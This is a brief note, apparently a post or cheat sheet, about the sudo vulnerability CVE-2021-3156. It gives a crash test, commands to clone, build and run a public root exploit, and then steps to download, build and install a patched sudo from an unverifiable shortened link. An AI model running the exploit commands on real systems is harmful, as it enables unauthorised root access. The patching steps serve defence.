#CVE-2021-3156 PoC Baron Samedit
#Find Out
sudoedit -s '\\' $(python3 -c 'print("A"*1000)')
git clone [<https://github.com/blasty/CVE-2021-3156.git>](<https://github.com/blasty/CVE-2021-3156.git>) && make
./sudo-hax-me-a-sandwich 0
Patch sudo. (Have backups prepped just in case you, you know, break everything)
wget [<https://lnkd.in/eNx5nQf>](<https://lnkd.in/eNx5nQf>)
tar xzvf sudo-1.9.5p2.tar.gz
cd sudo-1.9.5p2
./configure
make && sudo make install
bash -c "sudo --version"